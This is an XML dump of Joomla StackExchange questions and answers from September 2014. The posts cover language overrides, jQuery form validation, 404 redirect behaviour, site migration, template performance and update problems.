  <row Id="4608" PostTypeId="2" ParentId="4606" CreationDate="2014-09-28T15:31:43.363" Score="0" Body="&lt;p&gt;When you install new languages in Joomla (Language manager), the language files already contains the specific date and time formats for each country. While this is still a file-based override, I don't see how this can be more complicated than looking for a hack to change the date format from the database, a solution that might break if you upgrade Joomla later on.&lt;/p&gt;&#xA;" OwnerUserId="1723" LastActivityDate="2014-09-28T15:31:43.363" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4609" PostTypeId="1" AcceptedAnswerId="4610" CreationDate="2014-09-28T15:43:44.887" Score="3" ViewCount="2497" Body="&lt;p&gt;I'm using RokSprocket (from RocketTheme) to create the layout I want on my website, but it's a multilingual site, and I want to translate some of the strings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I looked for &lt;code&gt;en-GB.mod_roksprocket.ini&lt;/code&gt; in the &lt;code&gt;\languages&lt;/code&gt; folder, but it's not there. Then I found it in &lt;code&gt;\components\com_roksprocket\language\en-GB&lt;/code&gt;, but it only contains one line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;READ_MORE=&quot;Read More&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can I translate other strings, like the sort options from the &quot;Mosaic&quot; view (&lt;kbd&gt;Default&lt;/kbd&gt; &lt;kbd&gt;Title&lt;/kbd&gt; &lt;kbd&gt;Date&lt;/kbd&gt; &lt;kbd&gt;Random&lt;/kbd&gt;)&lt;/p&gt;&#xA;" OwnerUserId="1723" LastActivityDate="2014-09-28T21:05:42.740" Title="How can I translate RokSprocket views?" Tags="|joomla-3.x|overrides|language|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4610" PostTypeId="2" ParentId="4609" CreationDate="2014-09-28T21:05:42.740" Score="1" Body="&lt;p&gt;I have to admit the structure for this extension is a little complex, but the file you're looking for is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;com_roksprocket/site/layouts/mosaic/language/en-GB/en-GB.roksprocket_layout_mosaic.ini&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;From line 9 to 13, you will see the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ROKSPROCKET_MOSAIC_ORDERING_DEFAULT=&quot;Default&quot;&#xA;ROKSPROCKET_MOSAIC_ORDERING_TITLE=&quot;Title&quot;&#xA;ROKSPROCKET_MOSAIC_ORDERING_DATE=&quot;Date&quot;&#xA;ROKSPROCKET_MOSAIC_ORDERING_RANDOM=&quot;Random&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2014-09-28T21:05:42.740" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4611" PostTypeId="2" ParentId="4601" CreationDate="2014-09-29T00:22:23.700" Score="1" Body="&lt;p&gt;I can't give you a complete answer, but hopefully point you in the right direction with a couple of resources.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can override the tag search results by copying this file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/components/com_finder/views/search/tmpl/default_result.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/templates/default_template/html/com_finder/search/default_tag.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;(Notice the name change)&lt;/strong&gt;&lt;br&gt;&#xA;(Read more here on &lt;a href=&quot;http://docs.joomla.org/Customising_the_Smart_Search_results_page&quot; rel=&quot;nofollow noreferrer&quot;&gt;Smart Search overrides here&lt;/a&gt;.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But honestly I'm not sure exactly how to get this view to display all articles with the tag in the search query. &lt;a href=&quot;https://joomla.stackexchange.com/questions/3618/module-to-show-all-articles-with-tag-and-in-a-category/3619#3619&quot;&gt;This answer&lt;/a&gt; has a code to get articles with a certain tag:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$tagsHelper = new JHelperTags;&#xA;$articles = $tagsHelper-&amp;gt;getTagItemsQuery( $tagId, 'com_content.article', true, 'c.core_publish_up', 'DESC', true, 'all', '1' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There's also a module available to display articles with a certain tag, maybe you can extract some of the code from it: &lt;a href=&quot;https://github.com/lasinducharith/joomla-tags-selected&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/lasinducharith/joomla-tags-selected&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'll probably have to work a little to put everything together, but it should absolutely be possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helped a little :)&lt;/p&gt;&#xA;" OwnerUserId="1629" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.780" LastActivityDate="2014-09-29T00:22:23.700" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4612" PostTypeId="2" ParentId="4599" CreationDate="2014-09-29T01:00:45.827" Score="2" Body="&lt;p&gt;Another solution suggested at the &lt;a href=&quot;http://forum.joomla.org/viewtopic.php?t=276318&quot; rel=&quot;nofollow&quot;&gt;Joomla forum&lt;/a&gt; is to enable the FTP layer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;a href=&quot;http://help.joomla.org/content/view/1941/302/1/2/&quot; rel=&quot;nofollow&quot;&gt;FTP layer can be enabled&lt;/a&gt; from &lt;strong&gt;System&lt;/strong&gt; -&gt; &lt;strong&gt;Global Configuration&lt;/strong&gt; -&gt; Server tab -&gt; FTP Settings. Add FTP details (host, username and password) for a user with access to your server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not able to test it myself because I can't reproduce the error, but apparently by enabling FTP, Joomla is able to overcome certain server limitations.&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2014-09-29T01:00:45.827" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4614" PostTypeId="1" AcceptedAnswerId="4615" CreationDate="2014-09-29T13:02:53.593" Score="2" ViewCount="25238" Body="&lt;p&gt;I'm using RSForms! Pro and I have a form which has 4 fields which need to be completed. Is there any way to set the Submit button to not be active until all of the fields have been completed?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried the following but it's not working correctly:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function validate(){&#xA;    if ($('#FullName').val().length   &amp;gt;   0   &amp;amp;&amp;amp;&#xA;        $('#Email').val().length  &amp;gt;   0   &amp;amp;&amp;amp;&#xA;        $('#VenueName').val().length  &amp;gt;   0   &amp;amp;&amp;amp;&#xA;        $('#VenuePostcode').val().length    &amp;gt;   0) {&#xA;        $(&quot;input[type=submit]&quot;).prop(&quot;disabled&quot;, false);&#xA;    }&#xA;    else {&#xA;        $(&quot;input[type=submit]&quot;).prop(&quot;disabled&quot;, true);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="294" LastEditorUserId="294" LastEditDate="2014-09-29T14:49:01.467" LastActivityDate="2014-09-29T17:14:16.470" Title="Make submit button inactive until fields have been filled" Tags="|jquery|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="4615" PostTypeId="2" ParentId="4614" CreationDate="2014-09-29T17:14:16.470" Score="3" Body="&lt;p&gt;I suggest you start with disabling the submit button using jQuery(to avoid disabled buttons for non-javascript users):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery(&quot;#Submit&quot;).prop('disabled', true);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then use this code to enable the submit button if all fields are filled out:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var toValidate = jQuery('#FullName, #Email, #VenueName, #VenuePostcode'),&#xA;    valid = false;&#xA;toValidate.keyup(function () {&#xA;    if (jQuery(this).val().length &amp;gt; 0) {&#xA;        jQuery(this).data('valid', true);&#xA;    } else {&#xA;        jQuery(this).data('valid', false);&#xA;    }&#xA;    toValidate.each(function () {&#xA;        if (jQuery(this).data('valid') == true) {&#xA;            valid = true;&#xA;        } else {&#xA;            valid = false;&#xA;        }&#xA;    });&#xA;    if (valid === true) {&#xA;        jQuery(&quot;#Submit&quot;).prop('disabled', false);&#xA;    } else {&#xA;        jQuery(&quot;#Submit&quot;).prop('disabled', true);&#xA;    }&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;sup&gt;Modified code from &lt;a href=&quot;https://stackoverflow.com/questions/16761696/disable-submit-button-until-input-fields-filled-in&quot;&gt;this post&lt;/a&gt; on StackOverflow.&lt;/sup&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Quick demo: &lt;a href=&quot;http://jsfiddle.net/ddxqu7yy/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://jsfiddle.net/ddxqu7yy/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1629" LastEditorUserId="-1" LastEditDate="2017-05-23T12:38:51.907" LastActivityDate="2014-09-29T17:14:16.470" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4616" PostTypeId="1" AcceptedAnswerId="4617" CreationDate="2014-09-29T17:19:38.580" Score="7" ViewCount="5222" Body="&lt;p&gt;how do you make Joomla return a &quot;real&quot; 404 code? I can't figure out how to make this happen! I have changed &lt;code&gt;htaccess.txt&lt;/code&gt; to &lt;code&gt;.htaccess&lt;/code&gt;, enabled the system / redirect plugin, and turned on rewrite URLs in the the Joomla global options.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, any fake URL I type in simply redirects to the homepage, not even to the default Joomla error page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This also happens even on the Joomla demo site here:&#xA;&lt;a href=&quot;https://demo.joomla.org/badurl_fake&quot;&gt;https://demo.joomla.org/badurl_fake&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Testing further:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Joomla Global Use Rewrite: OFF&#xA;Joomla htaccess.txt renamed: NO&#xA;Joomla redirect plugin enabled: NO&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This results in a bad URL returning a true 404 error&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Joomla Global Use Rewrite: ON&#xA;Joomla htaccess.txt renamed: NO&#xA;Joomla redirect plugin enabled: NO&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This results in a bad URL returning a true 404 error&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Joomla Global Use Rewrite: ON&#xA;Joomla htaccess.txt renamed: NO&#xA;Joomla redirect plugin enabled: YES&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This results in a bad URL returning a true 404 error&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Joomla Global Use Rewrite: ON&#xA;Joomla htaccess.txt renamed: YES&#xA;Joomla redirect plugin enabled: YES&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This results in a bad URL returning user to homepage&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Joomla Global Use Rewrite: OFF&#xA;Joomla htaccess.txt renamed: YES&#xA;Joomla redirect plugin enabled: YES&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This results in a bad URL returning user to homepage&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Joomla Global Use Rewrite: OFF&#xA;Joomla htaccess.txt renamed: YES&#xA;Joomla redirect plugin enabled: NO&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This results in a bad URL returning user to homepage&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So it seems to me that the htaccess is the culprit here. In my testing, anytime the .htacess is present, the 404 is redirected to the index page. &lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="29" LastEditDate="2014-09-29T18:37:42.617" LastActivityDate="2024-01-11T10:46:47.037" Title="404 HTTP codes in Joomla" Tags="|joomla-3.3.x|error-handling|jroute|" AnswerCount="3" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4617" PostTypeId="2" ParentId="4616" CreationDate="2014-09-29T17:33:36.780" Score="2" Body="&lt;p&gt;This isn't an error but expected behavior.  If you navigate to Components &gt; Redirect in the Joomla Administrator's interface, you will see a list of all URLs requests resulting in a 404.  Joomla automatically records them in this component and the re-routes the request to the home page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason why is two fold, first is to prevent a negative user experience by mitigating error pages and secondly, to provide a means for a website admin to track and manually re-route to desired endpoints.  I attached a link to Joomla docs explaining in more detail.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://docs.joomla.org/Help33:Components_Redirect_Manager&quot; rel=&quot;nofollow&quot;&gt;http://docs.joomla.org/Help33:Components_Redirect_Manager&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1906" LastActivityDate="2014-09-29T17:33:36.780" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="4618" PostTypeId="1" AcceptedAnswerId="4624" CreationDate="2014-09-30T08:25:07.740" Score="3" ViewCount="1563" Body="&lt;p&gt;I've have a site built in with &lt;strong&gt;&lt;code&gt;Joomla 1.5&lt;/code&gt;&lt;/strong&gt; having &lt;code&gt;VirtueMart 1.9&lt;/code&gt;. Now I've to make the copy of that site with few more plugins to install and they are not available in 1.5 version so &lt;strong&gt;I have to upgrade to Joomla 2.5 with the supported version of VirtueMart.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As my site have many extensions but most important of them is VirtueMart. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried redMIGRATOR which copies the database but what about my design and other plugins?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What should I do to make the new copy of site as same as previous with the updated versions of Joomla and VirtueMart?&lt;/p&gt;&#xA;" OwnerUserId="1962" LastEditorUserId="1629" LastEditDate="2014-10-23T01:30:06.963" LastActivityDate="2014-10-23T01:30:06.963" Title="Migrating from joomla 1.5 to 2.5 along with VirtueMart 1.9 to the supported version with 2.5" Tags="|joomla-2.5|migration|joomla-1.5|virtuemart|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4619" PostTypeId="2" ParentId="4588" CreationDate="2014-09-30T08:31:26.440" Score="2" Body="&lt;p&gt;I think you have to include the paths both for model and table:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JModelLegacy::addIncludePath(JPATH_SITE . '/components/com_main/models', 'ByteitBookingModel');&#xA;&#xA;$modelTU = JModelLegacy::getInstance('TimeUnit', 'ByteitBookingModel');&#xA;$modelTU-&amp;gt;addTablePath(JPATH_ADMINISTRATOR . '/components/com_main/tables');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3" LastActivityDate="2014-09-30T08:31:26.440" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4620" PostTypeId="1" CreationDate="2014-09-30T10:08:56.843" Score="6" ViewCount="196" Body="&lt;p&gt;We have a Joomla site (&lt;a href=&quot;http://guru99.com&quot;&gt;http://guru99.com&lt;/a&gt;) running over dedicated server. Currently, Rockettheme's gantry based template is installed on the site.&#xA;So, to optimize my site's performance I have tested various templates of different frameworks with same content on my homepage and then I checked its Loadtime, Pagesize and No of requests using &lt;a href=&quot;http://webpagetest.org&quot;&gt;http://webpagetest.org&lt;/a&gt;&#xA;I found following difference in them with respect to my current template's parameters&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Template Framework  :    Loadtime(Sec)  /   Pagesize(Kb)    /   No of Requests&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Warp    :   0.792   /   130 /   14&lt;/p&gt;&#xA;&#xA;&lt;p&gt;T3  : 0.708 /   61  /   19&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Helix : 0.225   /   106 /   24&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tested all these frameworks with their basic free themes, So Now my Question is &quot;am I getting a big difference in them with respect to my current template&quot;, and do I need to look for different template for increased performance considering these differences?&lt;/p&gt;&#xA;" OwnerUserId="1948" LastEditorUserId="159" LastEditDate="2014-09-30T10:47:27.250" LastActivityDate="2014-09-30T17:43:50.603" Title="Suggestions for Performance improvement based on Result differences" Tags="|joomla-3.x|templates|performance|gantry|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4621" PostTypeId="2" ParentId="4620" CreationDate="2014-09-30T10:22:40.940" Score="2" Body="&lt;p&gt;Overall your site performance is very good.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All scripts and CSS files are being delivered via CDN. What I would consider now is GZipping all of these assets and this will increase performance even more. For this, I would recommend &lt;a href=&quot;http://extensions.joomla.org/extensions/core-enhancements/performance/site-performance/12088&quot; rel=&quot;nofollow&quot;&gt;JCH Optimize&lt;/a&gt;. I've used this before so can confirm it does the job very well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However (there's always a &quot;however&quot;), I've noticed some scripts sometimes forget closing brackets at the end, therefore when compressing them, it results in a console log error. If you do get this, you will have to exclude each JS file one by one to find the culprit. The plugin does allow you to single out specific files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The one thing you have to bare in mind when testing page speeds for different frameworks is that the templates that come with them may require different assets. For example, the Helix framework as you have seen is nearly 4x faster to load than Warp, however the Master theme that comes with Warp may contain more images and CSS files, thus more HTTP requests, thus slower loading speeds.&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2014-09-30T10:22:40.940" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4622" PostTypeId="1" CreationDate="2014-09-30T13:28:59.410" Score="1" ViewCount="71" Body="&lt;p&gt;I have a problem with the popup of the media manager. This popup is shown when we want to select an image under Images and Links tab. On one of my site it shows up in a smaller window, the folders are positioned under each other and it renders twice. &#xA;Has anyone come across this problem? &lt;/p&gt;&#xA;" OwnerUserId="417" LastActivityDate="2014-09-30T13:28:59.410" Title="Media manager popup renders twice" Tags="|joomla-3.x|" AnswerCount="0" CommentCount="10" ClosedDate="2014-11-14T18:59:42.403" ContentLicense="CC BY-SA 3.0" />
  <row Id="4624" PostTypeId="2" ParentId="4618" CreationDate="2014-09-30T16:36:09.133" Score="4" Body="&lt;p&gt;Migrating Joomla 1.5 to 2.5 might be a complex process, depending on what extensions you have on your current website. It's almost never a one-click process. The same goes for Virtuemart. VirtueMart 2.x.x is a completely new shopping cart system which is not compatible with VirtueMart 1, and a one-click upgrade does not exist.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First of all, &lt;strong&gt;make sure you have a complete backup of your site&lt;/strong&gt; (I recommend &lt;a href=&quot;http://www.akeebabackup.com&quot; rel=&quot;nofollow&quot;&gt;Akeeba Backup&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are many ways to do the migration, I'm going to list a couple of alternatives, but first keep in mind the following:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Your current template will most probably not work with Joomla 2.5. You'll have to:&#xA;&lt;ul&gt;&#xA;&lt;li&gt;modify it to make it compatible&lt;/li&gt;&#xA;&lt;li&gt;download a new version from the template provider (if available)&lt;/li&gt;&#xA;&lt;li&gt;use a different template&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;You'll have to look for an upgraded version of most of your extensions.&lt;/li&gt;&#xA;&lt;li&gt;Virtuemart 2 does not use templates like VM1 did, any layout overrides comes from your Joomla template.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;h3&gt;1. Build a new site&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Taking into account the points above, you might be better of creating a completely new site. Then use &lt;a href=&quot;http://www.eshiol.it/&quot; rel=&quot;nofollow&quot;&gt;J2XML&lt;/a&gt; to import articles (with images), categories, menus and users. This will give you a kickstart, and the advantage is that you have a very clean J2.5 installation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then install Virtuemart 2, and set up your products again. If you have few products, I think this is the easiest way.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;2. Use Virtuemart 2 Migrator&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;&lt;sup&gt;DISCLAIMER: I haven't tried this component myself&lt;/sup&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://extensions.joomla.org/extensions/extension-specific/virtuemart-extensions/virtuemart-administration/25279&quot; rel=&quot;nofollow&quot;&gt;Virtuemart 2 Migrator&lt;/a&gt; is a commercial extension that claims it can migrate both Joomla and Virtuemart. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;This migrator, is a giant leap towards Joomla 2.5 and VirtueMart 2 !&#xA;  Every VirtueMart content from your shop will be copied over. Here is&#xA;  how it works.&lt;/p&gt;&#xA;  &#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;Install blank Joomla 2.5 and VirtueMart 2 on the same server as your existing website&lt;/li&gt;&#xA;  &lt;li&gt;Install VirtueMart 2 Migrator component and configure database access and file paths&lt;/li&gt;&#xA;  &lt;li&gt;Select the contents you want to migrate and hit the &quot;Migrate now button&quot;&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;h3&gt;Try other migration tools&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;A list of different tools for Joomla migration is available at &lt;a href=&quot;http://extensions.joomla.org/extensions/migration-a-conversion/joomla-migration&quot; rel=&quot;nofollow&quot;&gt;JED&lt;/a&gt;. As long as you work on a copy of your site, there's nothing wrong with testing different solutions (except it might be time consuming).&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Other information&lt;/h3&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;A guide called &lt;a href=&quot;http://forum.virtuemart.net/index.php?topic=102783.0&quot; rel=&quot;nofollow&quot;&gt;Complete Guide for Joomla 1.5.26-2.5.X &amp;amp; VM1.X TO VM2.X MIGRATION&lt;/a&gt; is available at the Virtuemart forum, it might be worth a look.&lt;/li&gt;&#xA;&lt;li&gt;VirtueMart 3 (compatible with Joomla 3) is just around the corner. Actually, VM2.9.9B (Release Candidate) is available for &lt;a href=&quot;http://virtuemart.net/download&quot; rel=&quot;nofollow&quot;&gt;download&lt;/a&gt;. You might want to consider going directly to Joomla 3/VirtueMart 3.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2014-09-30T16:36:09.133" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4625" PostTypeId="1" AcceptedAnswerId="4759" CreationDate="2014-09-30T17:37:10.783" Score="2" ViewCount="2127" Body="&lt;p&gt;I've had a good look round and can't find any built-in functionality to load articles by tag (similar to &lt;code&gt;mod_articles_category&lt;/code&gt;, but using Joomla 3.X's built in tags as the filter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know if this is possible natively in Joomla (2 of the tag menu items are no use, the 3rd links to a component view but is nearly perfect!), or if there's a module that can do this?&lt;/p&gt;&#xA;" OwnerUserId="90" LastEditorUserId="90" LastEditDate="2014-09-30T17:45:27.853" LastActivityDate="2014-10-13T16:49:04.503" Title="Load articles by tag" Tags="|joomla-3.x|tags|extension-request|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4626" PostTypeId="2" ParentId="4620" CreationDate="2014-09-30T17:43:50.603" Score="3" Body="&lt;p&gt;On a side note, if you're worried about page speed, I noticed a couple of improvements you can do on your images.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You have several .png images (with and without transparent background) on your page. One example is &lt;a href=&quot;http://guru99.com/utlimate-guide-etl-datawarehouse-testing.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;this&lt;/a&gt; page. As your background is white, you could very well convert most of your png images to .jpg format and reduce page load time a lot. In case you need to use .png images, I recommend tinypng.com to reduce the size of any png image between 50-70%, even with transparency.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Examples:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Original image: &lt;a href=&quot;http://cdn.guru99.com/images/ETL_Testing/ETLTesting_5.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://cdn.guru99.com/images/ETL_Testing/ETLTesting_5.png&lt;/a&gt; - &lt;strong&gt;57.6 KB&lt;/strong&gt;  &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Compressed using tinypng.com - &lt;strong&gt;25.1 KB&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;Converted to jpg - &lt;strong&gt;~22 KB&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Original image: &lt;a href=&quot;http://cdn.guru99.com/images/logo_funlearn.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://cdn.guru99.com/images/logo_funlearn.png&lt;/a&gt; - &lt;strong&gt;102 KB&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Compressed using tinypng.com - &lt;strong&gt;34.5 KB&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;Converted to jpg - N/A (transparent background)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;In addition, some of your images larger than they need to be, this also increases your page load time. Try reducing your images to the actual size they'll have on your website (using an image editor).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/F971f.jpg&quot; alt=&quot;Display size vs natural size&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, another site to test website speeds, with several tools and reports, is &lt;a href=&quot;http://tools.pingdom.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://tools.pingdom.com&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2014-09-30T17:43:50.603" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="4627" PostTypeId="1" AcceptedAnswerId="4631" CreationDate="2014-09-30T18:48:46.870" Score="6" ViewCount="202" Body="&lt;p&gt;Joomla! 3.3.5 was recently released and I am deploying it to a total of 6 sites. 4 of them detected the update and installed it without issue, but 2 did not. They both state that 3.3.4 is the current version, which is not the case. I have tried the 'Purge Cache' button without success as well as purging everything in 'Clear Cache' under the 'System' menu.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any other ideas on where this might be hanging up and preventing Joomla! from detecting the update?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you in advance for your assistance.&lt;/p&gt;&#xA;" OwnerUserId="32" LastActivityDate="2014-10-01T01:19:16.390" Title="Core Update Not Detected in Joomla! 3.3.4" Tags="|joomla-3.3.x|one-click-updates|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4628" PostTypeId="5" CreationDate="2014-09-30T19:01:48.390" Score="0" Body="&lt;h2&gt;Joomla API&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The Joomla Content Management System (CMS) is built on top of a core of code which presents a standard Application programming interface or API to the applications built on it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://api.joomla.org&quot; rel=&quot;nofollow&quot;&gt;https://api.joomla.org&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="-1" LastEditorUserId="126" LastEditDate="2015-08-21T15:30:51.110" LastActivityDate="2015-08-21T15:30:51.110" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4629" PostTypeId="4" CreationDate="2014-09-30T19:01:48.390" Score="0" Body="This tag is for questions related to the Joomla-API, both Joomla CMS and Joomla Framework." OwnerUserId="1629" LastEditorUserId="1629" LastEditDate="2014-10-01T21:09:43.287" LastActivityDate="2014-10-01T21:09:43.287" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4630" PostTypeId="2" ParentId="4627" CreationDate="2014-09-30T19:42:16.673" Score="1" Body="&lt;p&gt;Are you by any chance running those sites on localhost? I'm asking because I had the same problem with a couple of development sites on localhost.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Either way, you can download the latest patch directly from &lt;a href=&quot;http://joomlacode.org/gf/project/joomla/frs/?action=FrsReleaseBrowse&amp;amp;frs_package_id=6952&quot; rel=&quot;nofollow&quot;&gt;joomla.org&lt;/a&gt;. The 3.3.4 to 3.3.5 patch is only 91.97 KB. Upload and unzip the file to your Joomla root directory, overwriting any existing file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Remember to take a backup of your site first, just in case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt;&lt;br&gt;&#xA;As Valentin pointed out, the update can be installed directly through the Extension Manager.&lt;/p&gt;&#xA;" OwnerUserId="1629" LastEditorUserId="1629" LastEditDate="2014-09-30T22:31:32.820" LastActivityDate="2014-09-30T22:31:32.820" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
